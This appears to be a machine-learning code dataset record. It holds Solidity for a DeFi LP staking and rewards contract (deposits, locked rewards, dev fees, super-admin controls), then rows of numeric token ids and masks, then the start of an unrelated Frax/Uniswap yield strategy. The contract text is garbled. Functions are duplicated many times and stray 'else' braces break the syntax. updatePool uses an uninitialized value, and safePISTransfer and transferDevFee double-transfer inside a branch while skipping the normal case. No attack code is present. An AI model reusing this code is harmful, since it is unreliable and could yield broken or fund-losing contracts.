uint256 newRewards = pis.balanceOf(address(this)).sub(pisBalance);
if (newRewards > 0) {
pendingRewards = pendingRewards.add(newRewards);
}
}
function updatePool(uint256 _pid)
internal
returns (uint256 pisRewardWhole)
{
PoolInfo storage pool = poolInfo[_pid];
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
return 0;
}
uint256 rewardFee = pisRewardWhole.mul(DEV_FEE).div(10000);
uint256 rewardToDistribute = pisRewardWhole.sub(rewardFee);
uint256 inc = rewardToDistribute.mul(1e18).div(tokenSupply);
rewardToDistribute = tokenSupply.mul(inc).div(1e18);
rewardFee = pisRewardWhole.sub(rewardToDistribute);
pending_DEV_rewards = pending_DEV_rewards.add(rewardFee);
pool.accPISPerShare = pool.accPISPerShare.add(inc);
pool.rewardsInThisEpoch = pool.rewardsInThisEpoch.add(
rewardToDistribute
);
}
function updatePool(uint256 _pid)
internal
returns (uint256 pisRewardWhole)
{
PoolInfo storage pool = poolInfo[_pid];
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
return 0;
}
uint256 rewardFee = pisRewardWhole.mul(DEV_FEE).div(10000);
uint256 rewardToDistribute = pisRewardWhole.sub(rewardFee);
uint256 inc = rewardToDistribute.mul(1e18).div(tokenSupply);
rewardToDistribute = tokenSupply.mul(inc).div(1e18);
rewardFee = pisRewardWhole.sub(rewardToDistribute);
pending_DEV_rewards = pending_DEV_rewards.add(rewardFee);
pool.accPISPerShare = pool.accPISPerShare.add(inc);
pool.rewardsInThisEpoch = pool.rewardsInThisEpoch.add(
rewardToDistribute
);
}
function withdrawReward(uint256 _pid) public {
withdraw(_pid, 0);
}
function deposit(uint256 _pid, uint256 _originAmount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
massUpdatePools();
updateAndPayOutPending(_pid, msg.sender);
uint256 _amount = _originAmount;
if (_amount > 0) {
pool.token.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
updateDepositTime(_pid, msg.sender, _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accPISPerShare).div(1e18);
emit Deposit(msg.sender, _pid, _amount);
}
function deposit(uint256 _pid, uint256 _originAmount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
massUpdatePools();
updateAndPayOutPending(_pid, msg.sender);
uint256 _amount = _originAmount;
if (_amount > 0) {
pool.token.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
updateDepositTime(_pid, msg.sender, _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accPISPerShare).div(1e18);
emit Deposit(msg.sender, _pid, _amount);
}
function updateDepositTime(
uint256 _pid,
address _addr,
uint256 _depositAmount
) internal {
UserInfo storage user = userInfo[_pid][_addr];
if (user.amount == 0) {
user.depositTime = block.timestamp;
user.referenceAmount = _depositAmount;
uint256 lockedPeriod = poolInfo[_pid].lockedPeriod;
uint256 tobeReleased = computeReleasableLP(_pid, _addr);
uint256 amountAfterDeposit = user.amount.add(_depositAmount);
uint256 diffTime = tobeReleased.mul(lockedPeriod).div(
amountAfterDeposit
);
user.depositTime = block.timestamp.sub(diffTime.div(2));
user.referenceAmount = amountAfterDeposit;
}
}
function updateDepositTime(
uint256 _pid,
address _addr,
uint256 _depositAmount
) internal {
UserInfo storage user = userInfo[_pid][_addr];
if (user.amount == 0) {
user.depositTime = block.timestamp;
user.referenceAmount = _depositAmount;
uint256 lockedPeriod = poolInfo[_pid].lockedPeriod;
uint256 tobeReleased = computeReleasableLP(_pid, _addr);
uint256 amountAfterDeposit = user.amount.add(_depositAmount);
uint256 diffTime = tobeReleased.mul(lockedPeriod).div(
amountAfterDeposit
);
user.depositTime = block.timestamp.sub(diffTime.div(2));
user.referenceAmount = amountAfterDeposit;
}
}
} else {
function depositFor(
address _depositFor,
uint256 _pid,
uint256 _originAmount
) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_depositFor];
massUpdatePools();
uint256 _amount = _originAmount;
if (_amount > 0) {
pool.token.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
updateDepositTime(_pid, _depositFor, _amount);
}
emit Deposit(_depositFor, _pid, _amount);
}
function depositFor(
address _depositFor,
uint256 _pid,
uint256 _originAmount
) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_depositFor];
massUpdatePools();
uint256 _amount = _originAmount;
if (_amount > 0) {
pool.token.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
updateDepositTime(_pid, _depositFor, _amount);
}
emit Deposit(_depositFor, _pid, _amount);
}
function setAllowanceForPoolToken(
address spender,
uint256 _pid,
uint256 value
) public {
PoolInfo storage pool = poolInfo[_pid];
pool.allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, _pid, value);
}
function quitPool(uint256 _pid) public {
require(
block.timestamp > getLpReleaseStart(_pid, msg.sender),
"cannot withdraw all lp tokens before"
);
uint256 withdrawnableAmount = computeReleasableLP(_pid, msg.sender);
withdraw(_pid, withdrawnableAmount);
}
function withdrawFrom(
address owner,
uint256 _pid,
uint256 _amount
) public {
PoolInfo storage pool = poolInfo[_pid];
require(
pool.allowance[owner][msg.sender] >= _amount,
"withdraw: insufficient allowance"
);
pool.allowance[owner][msg.sender] = pool.allowance[owner][msg.sender]
.sub(_amount);
_withdraw(_pid, _amount, owner, msg.sender);
}
function withdraw(uint256 _pid, uint256 _amount) public {
_withdraw(_pid, _amount, msg.sender, msg.sender);
}
function _withdraw(
uint256 _pid,
uint256 _amount,
address from,
address to
) internal {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][from];
uint256 withdrawnableAmount = computeReleasableLP(_pid, from);
require(withdrawnableAmount >= _amount, "withdraw: not good");
massUpdatePools();
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(address(to), _amount);
}
user.rewardDebt = user.amount.mul(pool.accPISPerShare).div(1e18);
emit Withdraw(to, _pid, _amount);
}
function _withdraw(
uint256 _pid,
uint256 _amount,
address from,
address to
) internal {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][from];
uint256 withdrawnableAmount = computeReleasableLP(_pid, from);
require(withdrawnableAmount >= _amount, "withdraw: not good");
massUpdatePools();
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(address(to), _amount);
}
user.rewardDebt = user.amount.mul(pool.accPISPerShare).div(1e18);
emit Withdraw(to, _pid, _amount);
}
function updateAndPayOutPending(uint256 _pid, address from) internal {
UserInfo storage user = userInfo[_pid][from];
if (user.releaseTime == 0) {
user.releaseTime = block.timestamp.add(REWARD_LOCKED_PERIOD);
}
if (block.timestamp > user.releaseTime) {
uint256 lockedAmount = user.rewardLocked;
user.rewardLocked = 0;
safePISTransfer(from, lockedAmount);
user.releaseTime = block.timestamp.add(REWARD_LOCKED_PERIOD);
}
uint256 pending = pendingPIS(_pid, from);
uint256 paid = pending.mul(REWARD_RELEASE_PERCENTAGE).div(100);
uint256 _lockedReward = pending.sub(paid);
if (_lockedReward > 0) {
user.rewardLocked = user.rewardLocked.add(_lockedReward);
}
if (paid > 0) {
safePISTransfer(from, paid);
}
}
function updateAndPayOutPending(uint256 _pid, address from) internal {
UserInfo storage user = userInfo[_pid][from];
if (user.releaseTime == 0) {
user.releaseTime = block.timestamp.add(REWARD_LOCKED_PERIOD);
}
if (block.timestamp > user.releaseTime) {
uint256 lockedAmount = user.rewardLocked;
user.rewardLocked = 0;
safePISTransfer(from, lockedAmount);
user.releaseTime = block.timestamp.add(REWARD_LOCKED_PERIOD);
}
uint256 pending = pendingPIS(_pid, from);
uint256 paid = pending.mul(REWARD_RELEASE_PERCENTAGE).div(100);
uint256 _lockedReward = pending.sub(paid);
if (_lockedReward > 0) {
user.rewardLocked = user.rewardLocked.add(_lockedReward);
}
if (paid > 0) {
safePISTransfer(from, paid);
}
}
function updateAndPayOutPending(uint256 _pid, address from) internal {
UserInfo storage user = userInfo[_pid][from];
if (user.releaseTime == 0) {
user.releaseTime = block.timestamp.add(REWARD_LOCKED_PERIOD);
}
if (block.timestamp > user.releaseTime) {
uint256 lockedAmount = user.rewardLocked;
user.rewardLocked = 0;
safePISTransfer(from, lockedAmount);
user.releaseTime = block.timestamp.add(REWARD_LOCKED_PERIOD);
}
uint256 pending = pendingPIS(_pid, from);
uint256 paid = pending.mul(REWARD_RELEASE_PERCENTAGE).div(100);
uint256 _lockedReward = pending.sub(paid);
if (_lockedReward > 0) {
user.rewardLocked = user.rewardLocked.add(_lockedReward);
}
if (paid > 0) {
safePISTransfer(from, paid);
}
}
function updateAndPayOutPending(uint256 _pid, address from) internal {
UserInfo storage user = userInfo[_pid][from];
if (user.releaseTime == 0) {
user.releaseTime = block.timestamp.add(REWARD_LOCKED_PERIOD);
}
if (block.timestamp > user.releaseTime) {
uint256 lockedAmount = user.rewardLocked;
user.rewardLocked = 0;
safePISTransfer(from, lockedAmount);
user.releaseTime = block.timestamp.add(REWARD_LOCKED_PERIOD);
}
uint256 pending = pendingPIS(_pid, from);
uint256 paid = pending.mul(REWARD_RELEASE_PERCENTAGE).div(100);
uint256 _lockedReward = pending.sub(paid);
if (_lockedReward > 0) {
user.rewardLocked = user.rewardLocked.add(_lockedReward);
}
if (paid > 0) {
safePISTransfer(from, paid);
}
}
function updateAndPayOutPending(uint256 _pid, address from) internal {
UserInfo storage user = userInfo[_pid][from];
if (user.releaseTime == 0) {
user.releaseTime = block.timestamp.add(REWARD_LOCKED_PERIOD);
}
if (block.timestamp > user.releaseTime) {
uint256 lockedAmount = user.rewardLocked;
user.rewardLocked = 0;
safePISTransfer(from, lockedAmount);
user.releaseTime = block.timestamp.add(REWARD_LOCKED_PERIOD);
}
uint256 pending = pendingPIS(_pid, from);
uint256 paid = pending.mul(REWARD_RELEASE_PERCENTAGE).div(100);
uint256 _lockedReward = pending.sub(paid);
if (_lockedReward > 0) {
user.rewardLocked = user.rewardLocked.add(_lockedReward);
}
if (paid > 0) {
safePISTransfer(from, paid);
}
}
function setStrategyContractOrDistributionContractAllowance(
address tokenAddress,
uint256 _amount,
address contractAddress
) public onlySuperAdmin {
require(
isContract(contractAddress),
"Recipent is not a smart contract, BAD"
);
require(
block.number > contractStartBlock.add(95_000),
"Governance setup grace period not over"
);
IERC20(tokenAddress).approve(contractAddress, _amount);
}
function isContract(address addr) public view returns (bool) {
uint256 size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}
function isContract(address addr) public view returns (bool) {
uint256 size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
require(
pool.emergencyWithdrawable,
"Withdrawing from this pool is disabled"
);
UserInfo storage user = userInfo[_pid][msg.sender];
pool.token.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
function safePISTransfer(address _to, uint256 _amount) internal {
uint256 pisBal = pis.balanceOf(address(this));
if (_amount > pisBal) {
pis.transfer(_to, pisBal);
pisBalance = pis.balanceOf(address(this));
pis.transfer(_to, _amount);
pisBalance = pis.balanceOf(address(this));
}
transferDevFee();
}
function safePISTransfer(address _to, uint256 _amount) internal {
uint256 pisBal = pis.balanceOf(address(this));
if (_amount > pisBal) {
pis.transfer(_to, pisBal);
pisBalance = pis.balanceOf(address(this));
pis.transfer(_to, _amount);
pisBalance = pis.balanceOf(address(this));
}
transferDevFee();
}
} else {
function transferDevFee() public {
if (pending_DEV_rewards == 0) return;
uint256 pisBal = pis.balanceOf(address(this));
if (pending_DEV_rewards > pisBal) {
pis.transfer(devaddr, pisBal);
pisBalance = pis.balanceOf(address(this));
pis.transfer(devaddr, pending_DEV_rewards);
pisBalance = pis.balanceOf(address(this));
}
pending_DEV_rewards = 0;
}
function transferDevFee() public {
if (pending_DEV_rewards == 0) return;
uint256 pisBal = pis.balanceOf(address(this));
if (pending_DEV_rewards > pisBal) {
pis.transfer(devaddr, pisBal);
pisBalance = pis.balanceOf(address(this));
pis.transfer(devaddr, pending_DEV_rewards);
pisBalance = pis.balanceOf(address(this));
}
pending_DEV_rewards = 0;
}
} else {
function setDevFeeReciever(address _devaddr) public {
require(devaddr == msg.sender, "only dev can change");
devaddr = _devaddr;
}
event SuperAdminTransfered(
address indexed previousOwner,
address indexed newOwner
);
function superAdmin() public view returns (address) {
return _superAdmin;
}
modifier onlySuperAdmin() {
require(
_superAdmin == _msgSender(),
"Super admin : caller is not super admin."
);
_;
}
function burnSuperAdmin() public virtual onlySuperAdmin {
emit SuperAdminTransfered(_superAdmin, address(0));
_superAdmin = address(0);
}
function newSuperAdmin(address newOwner) public virtual onlySuperAdmin {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit SuperAdminTransfered(_superAdmin, newOwner);
_superAdmin = newOwner;
}
function getLiquidityInfo(uint256 _pid)
public
view
returns (
uint256 lpSupply,
uint256 pisAmount,
uint256 totalPISAmount,
uint256 tokenAmount,
uint256 totalTokenAmount,
uint256 lockedLP,
uint256 totalLockedLP
)
{
IERC20 lpToken = poolInfo[_pid].token;
IERC20 pisToken = IERC20(address(pis));
IUniswapV2Pair pair = IUniswapV2Pair(address(lpToken));
address otherTokenAddress = (pair.token0() == address(pis))
? pair.token1()
: pair.token0();
IERC20 otherToken = IERC20(otherTokenAddress);
lpSupply = lpToken.totalSupply();
if (lpSupply > 0) {
uint256 lpPISBalance = pisToken.balanceOf(address(lpToken));
uint256 lpOtherBalance = otherToken.balanceOf(address(lpToken));
lockedLP = lpToken.balanceOf(address(this));
totalLockedLP = lockedLP;
pisAmount = lockedLP.mul(lpPISBalance).div(lpSupply);
totalPISAmount = totalLockedLP.mul(lpPISBalance).div(lpSupply);
tokenAmount = lockedLP.mul(lpOtherBalance).div(lpSupply);
totalTokenAmount = totalLockedLP.mul(lpOtherBalance).div(lpSupply);
}
}
function getLiquidityInfo(uint256 _pid)
public
view
returns (
uint256 lpSupply,
uint256 pisAmount,
uint256 totalPISAmount,
uint256 tokenAmount,
uint256 totalTokenAmount,
uint256 lockedLP,
uint256 totalLockedLP
)
{
IERC20 lpToken = poolInfo[_pid].token;
IERC20 pisToken = IERC20(address(pis));
IUniswapV2Pair pair = IUniswapV2Pair(address(lpToken));
address otherTokenAddress = (pair.token0() == address(pis))
? pair.token1()
: pair.token0();
IERC20 otherToken = IERC20(otherTokenAddress);
lpSupply = lpToken.totalSupply();
if (lpSupply > 0) {
uint256 lpPISBalance = pisToken.balanceOf(address(lpToken));
uint256 lpOtherBalance = otherToken.balanceOf(address(lpToken));
lockedLP = lpToken.balanceOf(address(this));
totalLockedLP = lockedLP;
pisAmount = lockedLP.mul(lpPISBalance).div(lpSupply);
totalPISAmount = totalLockedLP.mul(lpPISBalance).div(lpSupply);
tokenAmount = lockedLP.mul(lpOtherBalance).div(lpSupply);
totalTokenAmount = totalLockedLP.mul(lpOtherBalance).div(lpSupply);
}
}
}
| 3,332,453 |
[
1,
8870,
1758,
18,
10710,
13481,
8275,
305,
2387,
18,
6753,
506,
326,
2142,
434,
777,
13481,
3143,
316,
777,
16000,
18,
11511,
326,
4461,
14036,
364,
333,
6835,
3467,
622,
2371,
18,
3247,
9,
3609,
6835,
3410,
353,
20348,
358,
506,
279,
314,
1643,
82,
1359,
6835,
15632,
453,
5127,
314,
1643,
82,
1359,
18318,
2860,
1656,
281,
4374,
3241,
787,
434,
333,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
453,
5127,
12003,
353,
14223,
6914,
10784,
9890,
16,
2647,
2531,
14461,
1345,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
203,
565,
1758,
1071,
4461,
4793,
31,
203,
203,
565,
2254,
5034,
1071,
2078,
8763,
2148,
31,
203,
203,
565,
2254,
5034,
1071,
4634,
17631,
14727,
31,
203,
203,
565,
2254,
5034,
1071,
7632,
31,
203,
203,
565,
2254,
5034,
1071,
5381,
2438,
21343,
67,
6589,
2056,
67,
28437,
273,
9131,
4681,
31,
203,
565,
2254,
5034,
1071,
5381,
2438,
21343,
67,
30762,
67,
3194,
19666,
2833,
273,
19692,
31,
203,
565,
2254,
5034,
1071,
6835,
1685,
1768,
31,
203,
203,
565,
2254,
5034,
3238,
293,
291,
13937,
31,
203,
203,
565,
2254,
2313,
2030,
58,
67,
8090,
41,
31,
203,
203,
565,
2254,
5034,
1071,
4634,
67,
15301,
67,
266,
6397,
31,
203,
203,
565,
1758,
3238,
389,
9565,
4446,
31,
203,
203,
565,
445,
8164,
2954,
281,
2173,
1768,
9673,
1685,
12,
11890,
5034,
389,
6610,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
8164,
2173,
1768,
13,
203,
565,
288,
203,
3639,
8164,
2173,
1768,
273,
2845,
966,
63,
67,
6610,
65,
203,
5411,
263,
71,
11276,
17631,
14727,
9673,
1685,
203,
5411,
263,
1289,
12,
6011,
966,
63,
67,
6610,
8009,
266,
6397,
382,
2503,
14638,
13,
203,
5411,
263,
1289,
12,
9561,
1102,
55,
1290,
2864,
24899,
6610,
3719,
203,
5411,
263,
2892,
12,
2629,
18,
2
] |
./full_match/56/0xF6C48fb39Cd9D21E5103b1F01b26C6B2cEB2c1C7/sources/GameFactory.sol
|
* @dev Unfreeze Rewarded token to claim. Start Thawing/ Move token from rewardCandidates to thawingCandidates start / restart thawing remove token from rewardCandidates
|
function unfreeze() external {
require(
isWhitelisted(msg.sender),
"You are not allowed to claim Reward"
);
require(
rewardCandidates[msg.sender].approvedAmount > 0,
"Insufficient approved amount"
);
thawingCandidates[msg.sender].approvedAmount = thawingCandidates[
msg.sender
].approvedAmount.add(rewardCandidates[msg.sender].approvedAmount);
thawingCandidates[msg.sender].startTime = block.timestamp;
thawingCandidates[msg.sender].endTime = block.timestamp.add(
_thawingLockingPeriod
);
thawingCandidates[msg.sender].status = true;
emit ThawingStarted(
msg.sender,
rewardCandidates[msg.sender].approvedAmount
);
rewardCandidates[msg.sender].approvedAmount = 0;
}
| 3,259,003 |
[
1,
984,
29631,
534,
359,
17212,
1147,
358,
7516,
18,
3603,
935,
2219,
310,
19,
9933,
1147,
628,
19890,
18455,
358,
286,
2219,
310,
18455,
787,
342,
7870,
286,
2219,
310,
1206,
1147,
628,
19890,
18455,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
640,
29631,
1435,
3903,
288,
203,
3639,
2583,
12,
203,
5411,
353,
18927,
329,
12,
3576,
18,
15330,
3631,
203,
5411,
315,
6225,
854,
486,
2935,
358,
7516,
534,
359,
1060,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
19890,
18455,
63,
3576,
18,
15330,
8009,
25990,
6275,
405,
374,
16,
203,
5411,
315,
5048,
11339,
20412,
3844,
6,
203,
3639,
11272,
203,
203,
3639,
286,
2219,
310,
18455,
63,
3576,
18,
15330,
8009,
25990,
6275,
273,
286,
2219,
310,
18455,
63,
203,
5411,
1234,
18,
15330,
203,
3639,
308,
18,
25990,
6275,
18,
1289,
12,
266,
2913,
18455,
63,
3576,
18,
15330,
8009,
25990,
6275,
1769,
203,
3639,
286,
2219,
310,
18455,
63,
3576,
18,
15330,
8009,
1937,
950,
273,
1203,
18,
5508,
31,
203,
3639,
286,
2219,
310,
18455,
63,
3576,
18,
15330,
8009,
409,
950,
273,
1203,
18,
5508,
18,
1289,
12,
203,
5411,
389,
451,
2219,
310,
2531,
310,
5027,
203,
3639,
11272,
203,
3639,
286,
2219,
310,
18455,
63,
3576,
18,
15330,
8009,
2327,
273,
638,
31,
203,
203,
3639,
3626,
935,
2219,
310,
9217,
12,
203,
5411,
1234,
18,
15330,
16,
203,
5411,
19890,
18455,
63,
3576,
18,
15330,
8009,
25990,
6275,
203,
3639,
11272,
203,
203,
3639,
19890,
18455,
63,
3576,
18,
15330,
8009,
25990,
6275,
273,
374,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xcE9b49b0d4FE456aD6E4a1b7e4bBdD0699400Ef9/sources/src/vaults/borrowing/BorrowingVaultUpgradeable.sol
|
@inheritdoc BaseVaultUpgradeable
|
function borrowAllowance(
address owner,
address operator,
address receiver
)
public
view
virtual
override
returns (uint256)
{
return VaultPermissions.borrowAllowance(owner, operator, receiver);
}
| 2,939,928 |
[
1,
36,
10093,
3360,
12003,
10784,
429,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
29759,
7009,
1359,
12,
203,
565,
1758,
3410,
16,
203,
565,
1758,
3726,
16,
203,
565,
1758,
5971,
203,
225,
262,
203,
565,
1071,
203,
565,
1476,
203,
565,
5024,
203,
565,
3849,
203,
565,
1135,
261,
11890,
5034,
13,
203,
225,
288,
203,
565,
327,
17329,
6521,
18,
70,
15318,
7009,
1359,
12,
8443,
16,
3726,
16,
5971,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma experimental ABIEncoderV2;
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {
BaseStrategy,
StrategyParams
} from "@yearnvaults/contracts/BaseStrategy.sol";
import "../interfaces/frax/IFrax.sol";
import "../interfaces/uniswap/IUniNFT.sol";
import "../interfaces/uniswap/IUni.sol";
import "../interfaces/uniswap/IUniV3.sol";
import "../interfaces/curve/ICurve.sol";
import "../libraries/UnsafeMath.sol";
import "../libraries/FixedPoint96.sol";
import "../libraries/FullMath.sol";
import "../libraries/LowGasSafeMath.sol";
import "../libraries/SafeCast.sol";
import "../libraries/SqrtPriceMath.sol";
import "../libraries/TickMath.sol";
import "../libraries/LiquidityAmounts.sol";
interface IName {
function name() external view returns (string memory);
}
interface IBaseFee {
function isCurrentBaseFeeAcceptable() external view returns (bool);
}
contract StrategyFraxUniswapUSDC is BaseStrategy {
using Address for address;
using SafeMath for uint128;
/* ========== STATE VARIABLES ========== */
// variables for determining how much governance token to hold for voting rights
uint256 internal constant DENOMINATOR = 10000;
uint256 public keepFXS;
uint256 public fraxTimelockSet;
address public refer;
address public voter;
uint256 public nftUnlockTime; // timestamp that we can withdraw our staked NFT. init at max so we must mint first.
// these are variables specific to our want-FRAX pair
uint256 public nftId;
address internal constant fraxLock =
0x3EF26504dbc8Dd7B7aa3E97Bc9f3813a9FC0B4B0;
address internal constant uniV3Pool =
0xc63B0708E2F7e69CB8A1df0e1389A98C35A76D52;
// tokens
IERC20 internal constant frax =
IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e);
IERC20 internal constant fxs =
IERC20(0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0);
// uniswap v3 NFT address
address internal constant uniNFT =
0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
// routers/pools for swaps
address internal constant unirouter =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
ICurveFi internal constant curve =
ICurveFi(0xd632f22692FaC7611d2AA1C0D552930D43CAEd3B);
